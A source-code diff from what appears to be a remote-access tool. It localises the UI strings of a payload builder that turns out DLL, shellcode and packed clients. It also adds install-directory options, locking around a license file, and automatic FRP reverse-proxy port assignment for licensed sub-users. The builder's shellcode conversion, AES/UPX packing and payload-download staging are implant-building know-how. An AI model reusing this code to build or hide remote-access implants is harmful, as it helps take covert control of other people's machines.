@@ -1,6 +1,7 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#include <Vfw.h>
|
#include <Vfw.h>
|
||||||
#pragma comment(lib,"Vfw32.lib")
|
#pragma comment(lib,"Vfw32.lib")
|
||||||
|
#include "LangManager.h"
|
||||||
|
|
||||||
#define ERR_INVALID_PARAM 1
|
#define ERR_INVALID_PARAM 1
|
||||||
#define ERR_NO_ENCODER 2
|
#define ERR_NO_ENCODER 2
|
||||||
@@ -30,13 +31,13 @@ public:
|
|||||||
{
|
{
|
||||||
switch (result) {
|
switch (result) {
|
||||||
case ERR_INVALID_PARAM:
|
case ERR_INVALID_PARAM:
|
||||||
return ("无效参数");
|
return _L("无效参数").GetString();
|
||||||
case ERR_NOT_SUPPORT:
|
case ERR_NOT_SUPPORT:
|
||||||
return ("不支持的位深度,需要24位或32位");
|
return _L("不支持的位深度,需要24位或32位").GetString();
|
||||||
case ERR_NO_ENCODER:
|
case ERR_NO_ENCODER:
|
||||||
return ("未安装x264编解码器 \n下载地址:https://sourceforge.net/projects/x264vfw");
|
return _L("未安装x264编解码器 \n下载地址:https://sourceforge.net/projects/x264vfw").GetString();
|
||||||
case ERR_INTERNAL:
|
case ERR_INTERNAL:
|
||||||
return("创建AVI文件失败");
|
return _L("创建AVI文件失败").GetString();
|
||||||
default:
|
default:
|
||||||
return "succeed";
|
return "succeed";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -463,12 +463,14 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
break;
|
break;
|
||||||
case IndexServerDll:
|
case IndexServerDll:
|
||||||
file = "ServerDll.dll";
|
file = "ServerDll.dll";
|
||||||
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "ServerDll" : m_sInstallDir);
|
||||||
typ = CLIENT_TYPE_DLL;
|
typ = CLIENT_TYPE_DLL;
|
||||||
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize,
|
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize,
|
||||||
is64bit ? ResFileName::SERVERDLL_X64 : ResFileName::SERVERDLL_X86);
|
is64bit ? ResFileName::SERVERDLL_X64 : ResFileName::SERVERDLL_X86);
|
||||||
break;
|
break;
|
||||||
case IndexTinyRun:
|
case IndexTinyRun:
|
||||||
file = "TinyRun.dll";
|
file = "TinyRun.dll";
|
||||||
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "TinyRun" : m_sInstallDir);
|
||||||
typ = CLIENT_TYPE_SHELLCODE;
|
typ = CLIENT_TYPE_SHELLCODE;
|
||||||
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize,
|
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize,
|
||||||
is64bit ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86);
|
is64bit ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86);
|
||||||
@@ -484,6 +486,7 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
szBuffer = ReadResource(IDR_MACOS_GHOST, dwFileSize, ResFileName::GHOST_MACOS);
|
szBuffer = ReadResource(IDR_MACOS_GHOST, dwFileSize, ResFileName::GHOST_MACOS);
|
||||||
break;
|
break;
|
||||||
case OTHER_ITEM: {
|
case OTHER_ITEM: {
|
||||||
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir);
|
||||||
m_OtherItem.GetWindowTextA(file);
|
m_OtherItem.GetWindowTextA(file);
|
||||||
typ = -1;
|
typ = -1;
|
||||||
if (file != _TR("未选择文件")) {
|
if (file != _TR("未选择文件")) {
|
||||||
@@ -627,15 +630,15 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
BOOL checked = m_BtnFileServer.GetCheck() == BST_CHECKED;
|
BOOL checked = m_BtnFileServer.GetCheck() == BST_CHECKED;
|
||||||
if (checked) {
|
if (checked) {
|
||||||
strcpy(sc->downloadUrl, m_sDownloadUrl.IsEmpty() ? BuildPayloadUrl(m_strIP, sc->file) : m_sDownloadUrl);
|
strcpy(sc->downloadUrl, m_sDownloadUrl.IsEmpty() ? BuildPayloadUrl(m_strIP, sc->file) : m_sDownloadUrl);
|
||||||
if (m_sDownloadUrl.IsEmpty()) MessageBoxL(CString("文件下载地址: \r\n") + sc->downloadUrl, "提示", MB_ICONINFORMATION);
|
if (m_sDownloadUrl.IsEmpty()) MessageBoxL(_TR("文件下载地址: \r\n") + sc->downloadUrl, "提示", MB_ICONINFORMATION);
|
||||||
}
|
}
|
||||||
tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" :
|
tip = payload.IsEmpty() ? _TR("\r\n警告: 没有生成载荷!") :
|
||||||
checked ? "\r\n提示: 本机提供下载时,载荷文件必须拷贝至\"Payloads\"目录。" : "\r\n提示: 载荷文件必须拷贝至程序目录。";
|
checked ? _TR("\r\n提示: 本机提供下载时,载荷文件必须拷贝至\"Payloads\"目录。") : _TR("\r\n提示: 载荷文件必须拷贝至程序目录。");
|
||||||
}
|
}
|
||||||
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
|
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
|
||||||
if (r) {
|
if (r) {
|
||||||
r = WriteBinaryToFile(payload.GetString(), (char*)srcData, srcLen, n == Payload_Raw ? 0 : -1);
|
r = WriteBinaryToFile(payload.GetString(), (char*)srcData, srcLen, n == Payload_Raw ? 0 : -1);
|
||||||
if (!r) tip = "\r\n警告: 生成载荷失败!";
|
if (!r) tip = _TR("\r\n警告: 生成载荷失败!");
|
||||||
} else {
|
} else {
|
||||||
MessageBoxL(_TR("文件生成失败: ") + "\r\n" + strSeverFile, "提示", MB_ICONINFORMATION);
|
MessageBoxL(_TR("文件生成失败: ") + "\r\n" + strSeverFile, "提示", MB_ICONINFORMATION);
|
||||||
}
|
}
|
||||||
@@ -647,7 +650,7 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
} else if (sel == CLIENT_PE_TO_SEHLLCODE) {
|
} else if (sel == CLIENT_PE_TO_SEHLLCODE) {
|
||||||
int pe_2_shellcode(const std::string & in_path, const std::string & out_str);
|
int pe_2_shellcode(const std::string & in_path, const std::string & out_str);
|
||||||
int ret = pe_2_shellcode(strSeverFile.GetString(), strSeverFile.GetString());
|
int ret = pe_2_shellcode(strSeverFile.GetString(), strSeverFile.GetString());
|
||||||
if (ret)MessageBoxL(CString("ShellCode 转换异常, 异常代码: ") + CString(std::to_string(ret).c_str()),
|
if (ret)MessageBoxL(_TR("ShellCode 转换异常, 异常代码: ") + CString(std::to_string(ret).c_str()),
|
||||||
"提示", MB_ICONINFORMATION);
|
"提示", MB_ICONINFORMATION);
|
||||||
} else if (sel == CLIENT_COMPRESS_SC_AES_OLD || // 兼容旧版本
|
} else if (sel == CLIENT_COMPRESS_SC_AES_OLD || // 兼容旧版本
|
||||||
sel == CLIENT_COMP_SC_AES_OLD_UPX) {
|
sel == CLIENT_COMP_SC_AES_OLD_UPX) {
|
||||||
@@ -927,7 +930,7 @@ void CBuildDlg::OnCbnSelchangeComboExe()
|
|||||||
SAFE_DELETE_ARRAY(szBuffer);
|
SAFE_DELETE_ARRAY(szBuffer);
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
m_OtherItem.SetWindowTextA("未选择文件");
|
m_OtherItem.SetWindowTextA(_TR("未选择文件"));
|
||||||
}
|
}
|
||||||
m_OtherItem.ShowWindow(SW_SHOW);
|
m_OtherItem.ShowWindow(SW_SHOW);
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -10,6 +10,8 @@
|
|||||||
#include "2015RemoteDlg.h"
|
#include "2015RemoteDlg.h"
|
||||||
#include "InputDlg.h"
|
#include "InputDlg.h"
|
||||||
#include "IPHistoryDlg.h"
|
#include "IPHistoryDlg.h"
|
||||||
|
#include "FrpsForSubDlg.h"
|
||||||
|
#include "pwd_gen.h"
|
||||||
#include <algorithm>
|
#include <algorithm>
|
||||||
|
|
||||||
// CLicenseDlg 对话框
|
// CLicenseDlg 对话框
|
||||||
@@ -42,14 +44,25 @@ BEGIN_MESSAGE_MAP(CLicenseDlg, CDialogEx)
|
|||||||
ON_COMMAND(ID_LICENSE_EDIT_REMARK, &CLicenseDlg::OnLicenseEditRemark)
|
ON_COMMAND(ID_LICENSE_EDIT_REMARK, &CLicenseDlg::OnLicenseEditRemark)
|
||||||
ON_COMMAND(ID_LICENSE_VIEW_IPS, &CLicenseDlg::OnLicenseViewIPs)
|
ON_COMMAND(ID_LICENSE_VIEW_IPS, &CLicenseDlg::OnLicenseViewIPs)
|
||||||
ON_COMMAND(ID_LICENSE_DELETE, &CLicenseDlg::OnLicenseDelete)
|
ON_COMMAND(ID_LICENSE_DELETE, &CLicenseDlg::OnLicenseDelete)
|
||||||
|
ON_COMMAND(ID_LICENSE_AUTO_FRP, &CLicenseDlg::OnLicenseAutoFrp)
|
||||||
|
ON_COMMAND(ID_LICENSE_REVOKE_FRP, &CLicenseDlg::OnLicenseRevokeFrp)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
// 前向声明:实现位于本文件后段(Auto FRP 相关工具)
|
||||||
|
static int ParseRemotePortFromFrpConfig(const std::string& frpConfig);
|
||||||
|
static bool FreeFrpPortAllocation(int port, const std::string& expectedOwner);
|
||||||
|
|
||||||
// 获取所有授权信息
|
// 获取所有授权信息
|
||||||
std::vector<LicenseInfo> GetAllLicenses()
|
std::vector<LicenseInfo> GetAllLicenses(int* activeNum)
|
||||||
{
|
{
|
||||||
|
if (activeNum) *activeNum = 0;
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::vector<LicenseInfo> licenses;
|
std::vector<LicenseInfo> licenses;
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
|
|
||||||
|
// 注意:CIniParser 走 ifstream 读取整文件,与 WritePrivateProfileString 的内核锁
|
||||||
|
// 不在同一域。必须靠这里的 g_licensesIniMutex 阻止与其它写入交错,否则可能读到
|
||||||
|
// 写入到一半的中间态。
|
||||||
CIniParser parser;
|
CIniParser parser;
|
||||||
if (!parser.LoadFile(iniPath.c_str()))
|
if (!parser.LoadFile(iniPath.c_str()))
|
||||||
return licenses;
|
return licenses;
|
||||||
@@ -86,6 +99,7 @@ std::vector<LicenseInfo> GetAllLicenses()
|
|||||||
it = kv.find("Status");
|
it = kv.find("Status");
|
||||||
if (it != kv.end()) info.Status = it->second;
|
if (it != kv.end()) info.Status = it->second;
|
||||||
else info.Status = LICENSE_STATUS_ACTIVE; // 默认为有效
|
else info.Status = LICENSE_STATUS_ACTIVE; // 默认为有效
|
||||||
|
if (activeNum && info.Status == LICENSE_STATUS_ACTIVE) (*activeNum)++;
|
||||||
|
|
||||||
it = kv.find("PendingExpireDate");
|
it = kv.find("PendingExpireDate");
|
||||||
if (it != kv.end()) info.PendingExpireDate = it->second;
|
if (it != kv.end()) info.PendingExpireDate = it->second;
|
||||||
@@ -298,6 +312,7 @@ void CLicenseDlg::OnSize(UINT nType, int cx, int cy)
|
|||||||
// 更新授权状态
|
// 更新授权状态
|
||||||
bool SetLicenseStatus(const std::string& deviceID, const std::string& status)
|
bool SetLicenseStatus(const std::string& deviceID, const std::string& status)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -331,6 +346,15 @@ void CLicenseDlg::OnNMRClickLicenseList(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
const auto& lic = m_Licenses[nIndex];
|
const auto& lic = m_Licenses[nIndex];
|
||||||
menu.AppendMenuL(MF_STRING, ID_LICENSE_RENEWAL, _T("预设续期(&N)..."));
|
menu.AppendMenuL(MF_STRING, ID_LICENSE_RENEWAL, _T("预设续期(&N)..."));
|
||||||
menu.AppendMenuL(MF_STRING, ID_LICENSE_EDIT_REMARK, _T("编辑备注(&E)..."));
|
menu.AppendMenuL(MF_STRING, ID_LICENSE_EDIT_REMARK, _T("编辑备注(&E)..."));
|
||||||
|
menu.AppendMenuL(MF_STRING, ID_LICENSE_AUTO_FRP, _T("自动FRP(&F)..."));
|
||||||
|
|
||||||
|
// 仅当该授权已分配 FRPC 端口时,才显示"撤销FRP"
|
||||||
|
{
|
||||||
|
std::string existingFrp = LoadLicenseFrpConfig(lic.SerialNumber);
|
||||||
|
if (ParseRemotePortFromFrpConfig(existingFrp) > 0) {
|
||||||
|
menu.AppendMenuL(MF_STRING, ID_LICENSE_REVOKE_FRP, _T("撤销FRP(&U)"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 只有当有 IP 记录时才显示查看 IP 历史选项
|
// 只有当有 IP 记录时才显示查看 IP 历史选项
|
||||||
int ipCount = GetIPCountFromList(lic.IP);
|
int ipCount = GetIPCountFromList(lic.IP);
|
||||||
@@ -440,6 +464,7 @@ int ParseHostNumFromPasscode(const std::string& passcode)
|
|||||||
// 设置待续期信息
|
// 设置待续期信息
|
||||||
bool SetPendingRenewal(const std::string& deviceID, const std::string& expireDate, int hostNum, int quota)
|
bool SetPendingRenewal(const std::string& deviceID, const std::string& expireDate, int hostNum, int quota)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -458,6 +483,7 @@ bool SetPendingRenewal(const std::string& deviceID, const std::string& expireDat
|
|||||||
// 获取待续期信息
|
// 获取待续期信息
|
||||||
RenewalInfo GetPendingRenewal(const std::string& deviceID)
|
RenewalInfo GetPendingRenewal(const std::string& deviceID)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
RenewalInfo info;
|
RenewalInfo info;
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
@@ -471,6 +497,7 @@ RenewalInfo GetPendingRenewal(const std::string& deviceID)
|
|||||||
// 清除待续期信息
|
// 清除待续期信息
|
||||||
bool ClearPendingRenewal(const std::string& deviceID)
|
bool ClearPendingRenewal(const std::string& deviceID)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -481,8 +508,11 @@ bool ClearPendingRenewal(const std::string& deviceID)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 配额递减,返回是否还有剩余配额
|
// 配额递减,返回是否还有剩余配额
|
||||||
|
// 关键:read-modify-write 的 PendingQuota 必须在锁内完成,否则与 SetPendingRenewal
|
||||||
|
// 并发会丢失用户刚设置的预设续期(旧 bug:用户报告"预设续期消失"的根因)。
|
||||||
bool DecrementPendingQuota(const std::string& deviceID)
|
bool DecrementPendingQuota(const std::string& deviceID)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -495,7 +525,7 @@ bool DecrementPendingQuota(const std::string& deviceID)
|
|||||||
cfg.SetInt(deviceID, "PendingQuota", quota);
|
cfg.SetInt(deviceID, "PendingQuota", quota);
|
||||||
|
|
||||||
if (quota <= 0) {
|
if (quota <= 0) {
|
||||||
// 配额用完,清除待续期信息
|
// 配额用完,清除待续期信息(嵌套加锁,recursive_mutex 安全)
|
||||||
ClearPendingRenewal(deviceID);
|
ClearPendingRenewal(deviceID);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
@@ -599,6 +629,7 @@ void CLicenseDlg::OnLicenseRenewal()
|
|||||||
// 设置授权备注
|
// 设置授权备注
|
||||||
bool SetLicenseRemark(const std::string& deviceID, const std::string& remark)
|
bool SetLicenseRemark(const std::string& deviceID, const std::string& remark)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -642,6 +673,7 @@ void CLicenseDlg::OnLicenseEditRemark()
|
|||||||
// 删除授权
|
// 删除授权
|
||||||
bool DeleteLicense(const std::string& deviceID)
|
bool DeleteLicense(const std::string& deviceID)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -651,9 +683,21 @@ bool DeleteLicense(const std::string& deviceID)
|
|||||||
return false; // 授权不存在
|
return false; // 授权不存在
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 若该授权占用了 FRP 端口,先释放 frp_ports.ini 中的占用记录,
|
||||||
|
// 否则端口会一直被这个已不存在的 SN "挂账",导致端口池逐步耗尽。
|
||||||
|
std::string frpConfig = cfg.GetStr(deviceID, "FrpConfig", "");
|
||||||
|
int allocatedPort = ParseRemotePortFromFrpConfig(frpConfig);
|
||||||
|
if (allocatedPort > 0) {
|
||||||
|
FreeFrpPortAllocation(allocatedPort, deviceID);
|
||||||
|
}
|
||||||
|
|
||||||
// 删除该 section (通过写入 NULL 删除整个 section)
|
// 删除该 section (通过写入 NULL 删除整个 section)
|
||||||
BOOL ret = ::WritePrivateProfileStringA(deviceID.c_str(), NULL, NULL, iniPath.c_str());
|
BOOL ret = ::WritePrivateProfileStringA(deviceID.c_str(), NULL, NULL, iniPath.c_str());
|
||||||
::WritePrivateProfileStringA(NULL, NULL, NULL, iniPath.c_str()); // 刷新缓存
|
::WritePrivateProfileStringA(NULL, NULL, NULL, iniPath.c_str()); // 刷新缓存
|
||||||
|
|
||||||
|
// 关键:清掉 UpdateLicenseActivity 的内存缓存。否则若同 SN 客户端再次连上来,
|
||||||
|
// cache 命中会跳过落盘 → disk 永远不会重建被删的 section。
|
||||||
|
InvalidateLicenseActivityCache(deviceID);
|
||||||
return ret != FALSE;
|
return ret != FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -835,12 +879,17 @@ void CLicenseDlg::OnLicenseViewIPs()
|
|||||||
|
|
||||||
// 如果有记录被删除,保存更新后的 IP 列表
|
// 如果有记录被删除,保存更新后的 IP 列表
|
||||||
if (removedCount > 0) {
|
if (removedCount > 0) {
|
||||||
std::string iniPath = GetLicensesPath();
|
// 锁内只做 I/O —— UI 控件更新(SetItemText)放锁外,避免锁内触发
|
||||||
config cfg(iniPath);
|
// 任何可能的消息循环回调,保持锁占用时间最短
|
||||||
cfg.SetStr(lic.SerialNumber, "IP", newIPList);
|
{
|
||||||
lic.IP = newIPList; // 更新内存中的数据
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
|
std::string iniPath = GetLicensesPath();
|
||||||
|
config cfg(iniPath);
|
||||||
|
cfg.SetStr(lic.SerialNumber, "IP", newIPList);
|
||||||
|
}
|
||||||
|
lic.IP = newIPList; // 更新内存中的数据(与 m_Licenses 同步,不需要锁)
|
||||||
|
|
||||||
// 更新列表显示
|
// 更新列表显示(UI 线程操作,必须在锁外)
|
||||||
CString strIPDisplay = FormatIPDisplay(newIPList).c_str();
|
CString strIPDisplay = FormatIPDisplay(newIPList).c_str();
|
||||||
m_ListLicense.SetItemText(nItem, LIC_COL_IP, strIPDisplay);
|
m_ListLicense.SetItemText(nItem, LIC_COL_IP, strIPDisplay);
|
||||||
}
|
}
|
||||||
@@ -960,6 +1009,9 @@ bool FindLicenseByIPAndMachine(const std::string& ip, const std::string& machine
|
|||||||
{
|
{
|
||||||
if (ip.empty()) return false;
|
if (ip.empty()) return false;
|
||||||
|
|
||||||
|
// 加锁保护整个 list 遍历,避免与并发的 SetStr(IP, ...) 交错读到中间态。
|
||||||
|
// GetAllLicenses 内部也加锁,recursive_mutex 允许嵌套。
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
auto licenses = GetAllLicenses();
|
auto licenses = GetAllLicenses();
|
||||||
for (const auto& lic : licenses) {
|
for (const auto& lic : licenses) {
|
||||||
if (lic.IP.empty()) continue;
|
if (lic.IP.empty()) continue;
|
||||||
@@ -1010,3 +1062,195 @@ bool FindLicenseByIPAndMachine(const std::string& ip, const std::string& machine
|
|||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 从 FrpConfig 字符串解析 remotePort
|
||||||
|
// 格式: "serverAddr:serverPort-remotePort-expireDate-authValue"
|
||||||
|
// 注意:serverAddr 可能是含 '-' 的域名(如 my-server.com),必须从右往左定位
|
||||||
|
// 与 CMy2015RemoteDlg::ParseFrpAutoConfig 的拆分策略一致。
|
||||||
|
static int ParseRemotePortFromFrpConfig(const std::string& frpConfig)
|
||||||
|
{
|
||||||
|
if (frpConfig.empty()) return 0;
|
||||||
|
// 倒数第 1 个 '-':分隔 expireDate 与 authValue
|
||||||
|
size_t dashAuth = frpConfig.rfind('-');
|
||||||
|
if (dashAuth == std::string::npos || dashAuth == 0) return 0;
|
||||||
|
std::string s2 = frpConfig.substr(0, dashAuth);
|
||||||
|
// 倒数第 2 个 '-':分隔 remotePort 与 expireDate
|
||||||
|
size_t dashExpire = s2.rfind('-');
|
||||||
|
if (dashExpire == std::string::npos || dashExpire == 0) return 0;
|
||||||
|
std::string s3 = s2.substr(0, dashExpire);
|
||||||
|
// 倒数第 3 个 '-':分隔 serverAddr:serverPort 与 remotePort
|
||||||
|
size_t dashPort = s3.rfind('-');
|
||||||
|
if (dashPort == std::string::npos || dashPort == 0) return 0;
|
||||||
|
return atoi(s3.substr(dashPort + 1).c_str());
|
||||||
|
}
|
||||||
|
|
||||||
|
// 释放 frp_ports.ini 中指定端口的占用记录。
|
||||||
|
// 必须传入 expectedOwner —— 仅当端口当前的归属确实是它时才清除,
|
||||||
|
// 避免在 race 或外部改动后误抹掉别的 SN 的占用记录。
|
||||||
|
static bool FreeFrpPortAllocation(int port, const std::string& expectedOwner)
|
||||||
|
{
|
||||||
|
if (port <= 0 || expectedOwner.empty()) return false;
|
||||||
|
config portsCfg(CFrpsForSubDlg::GetFrpPortsPath());
|
||||||
|
char portStr[16];
|
||||||
|
sprintf_s(portStr, "%d", port);
|
||||||
|
std::string currentOwner = portsCfg.GetStr("ports", portStr, "");
|
||||||
|
if (currentOwner != expectedOwner) {
|
||||||
|
// 已被改写或释放,不动它
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
portsCfg.SetStr("ports", portStr, ""); // 写入空 owner,FindNextAvailablePort 将其视为可用
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CLicenseDlg::OnLicenseAutoFrp()
|
||||||
|
{
|
||||||
|
int nItem = m_ListLicense.GetNextItem(-1, LVNI_SELECTED);
|
||||||
|
if (nItem < 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
size_t nIndex = (size_t)m_ListLicense.GetItemData(nItem);
|
||||||
|
if (nIndex >= m_Licenses.size())
|
||||||
|
return;
|
||||||
|
|
||||||
|
const auto& lic = m_Licenses[nIndex];
|
||||||
|
|
||||||
|
// 1. 前提条件:FRPS 服务器必须已在「下级 FRP 代理设置」中配置并启用
|
||||||
|
if (!CFrpsForSubDlg::IsFrpsConfigured()) {
|
||||||
|
MessageBoxL("请先在 扩展 → 下级 FRP 代理设置 中启用并配置 FRPS 服务器地址、端口与 Token,然后再使用此功能。",
|
||||||
|
"未配置 FRPS", MB_OK | MB_ICONINFORMATION);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. 读取该授权当前的 FRP 配置(若已分配端口)
|
||||||
|
std::string existingFrpConfig = LoadLicenseFrpConfig(lic.SerialNumber);
|
||||||
|
int existingPort = ParseRemotePortFromFrpConfig(existingFrpConfig);
|
||||||
|
|
||||||
|
// 已分配端口时,先询问是否覆盖
|
||||||
|
if (existingPort > 0) {
|
||||||
|
CString msg;
|
||||||
|
msg.FormatL("该授权已分配 FRPC 远程端口 %d,是否覆盖并重新设置?",
|
||||||
|
existingPort);
|
||||||
|
if (MessageBox(msg, _TR("覆盖 FRPC 配置"),
|
||||||
|
MB_ICONQUESTION | MB_YESNO | MB_DEFBUTTON2) != IDYES) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. 决定默认端口:已有端口则沿用,否则查找下一个可用端口
|
||||||
|
int defaultPort = existingPort;
|
||||||
|
if (defaultPort <= 0) {
|
||||||
|
defaultPort = CFrpsForSubDlg::FindNextAvailablePort();
|
||||||
|
if (defaultPort <= 0) {
|
||||||
|
MessageBoxL("FRPS 端口范围已满,无法自动分配,请扩大「下级 FRP 代理设置」中的端口范围。",
|
||||||
|
"端口已满", MB_OK | MB_ICONWARNING);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. 弹出输入对话框,允许用户确认或修改端口
|
||||||
|
CInputDialog dlg(this);
|
||||||
|
CString strTitle;
|
||||||
|
strTitle.FormatL("自动 FRP - %s", lic.SerialNumber.c_str());
|
||||||
|
dlg.Init(strTitle, _L("FRPC 远程端口 (1024-65535):"));
|
||||||
|
CString strDefault;
|
||||||
|
strDefault.Format(_T("%d"), defaultPort);
|
||||||
|
dlg.m_str = strDefault;
|
||||||
|
|
||||||
|
if (dlg.DoModal() != IDOK)
|
||||||
|
return;
|
||||||
|
|
||||||
|
int remotePort = _ttoi(dlg.m_str);
|
||||||
|
if (remotePort < 1024 || remotePort > 65535) {
|
||||||
|
MessageBoxL("FRP 远程端口无效(1024-65535)", "提示", MB_OK | MB_ICONWARNING);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 5. 端口冲突检测:若端口已被其它序列号占用则拒绝
|
||||||
|
std::string portOwner = CFrpsForSubDlg::GetPortOwner(remotePort);
|
||||||
|
if (!portOwner.empty() && portOwner != lic.SerialNumber) {
|
||||||
|
CString msg;
|
||||||
|
msg.FormatL("端口 %d 已被序列号 %s 占用,请选择其它端口。",
|
||||||
|
remotePort, portOwner.c_str());
|
||||||
|
MessageBox(msg, _TR("端口冲突"), MB_OK | MB_ICONWARNING);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 6. 先生成 FRP 配置串(失败则直接返回,不动 frp_ports.ini)
|
||||||
|
FrpsConfig frpsConfig = CFrpsForSubDlg::GetFrpsConfig();
|
||||||
|
// expireDate 固定 20371231(由 License 自身的过期控制实际有效性)
|
||||||
|
std::string frpConfig = GenerateFrpConfig(
|
||||||
|
frpsConfig.server, frpsConfig.port, remotePort,
|
||||||
|
frpsConfig.token, "20371231", frpsConfig.authMode);
|
||||||
|
|
||||||
|
if (frpConfig.empty()) {
|
||||||
|
MessageBoxL("生成 FRP 配置失败", "错误", MB_OK | MB_ICONERROR);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 7. 提交端口变更(顺序:新端口 RecordPortAllocation → 释放旧端口 → 写 licenses.ini)。
|
||||||
|
// 顺序保证:任意一步失败都不会出现"旧端口已释放 + 新端口未占用"的真空态。
|
||||||
|
CFrpsForSubDlg::RecordPortAllocation(remotePort, lic.SerialNumber);
|
||||||
|
if (existingPort > 0 && existingPort != remotePort) {
|
||||||
|
FreeFrpPortAllocation(existingPort, lic.SerialNumber); // 仅当旧端口确实归属本 SN 时才释放
|
||||||
|
}
|
||||||
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
|
std::string iniPath = GetLicensesPath();
|
||||||
|
config cfg(iniPath);
|
||||||
|
cfg.SetStr(lic.SerialNumber, "FrpConfig", frpConfig);
|
||||||
|
}
|
||||||
|
|
||||||
|
CString msg;
|
||||||
|
msg.FormatL("已为授权 %s 配置 FRPC 远程端口 %d。\n\n下级上线时将自动接收 FRP 配置并启用反向代理。",
|
||||||
|
lic.SerialNumber.c_str(), remotePort);
|
||||||
|
MessageBox(msg, _TR("配置成功"), MB_OK | MB_ICONINFORMATION);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CLicenseDlg::OnLicenseRevokeFrp()
|
||||||
|
{
|
||||||
|
int nItem = m_ListLicense.GetNextItem(-1, LVNI_SELECTED);
|
||||||
|
if (nItem < 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
size_t nIndex = (size_t)m_ListLicense.GetItemData(nItem);
|
||||||
|
if (nIndex >= m_Licenses.size())
|
||||||
|
return;
|
||||||
|
|
||||||
|
const auto& lic = m_Licenses[nIndex];
|
||||||
|
|
||||||
|
// 读取当前 FRP 配置;若本就没有,菜单理应不显示,这里再防御一次
|
||||||
|
std::string existingFrpConfig = LoadLicenseFrpConfig(lic.SerialNumber);
|
||||||
|
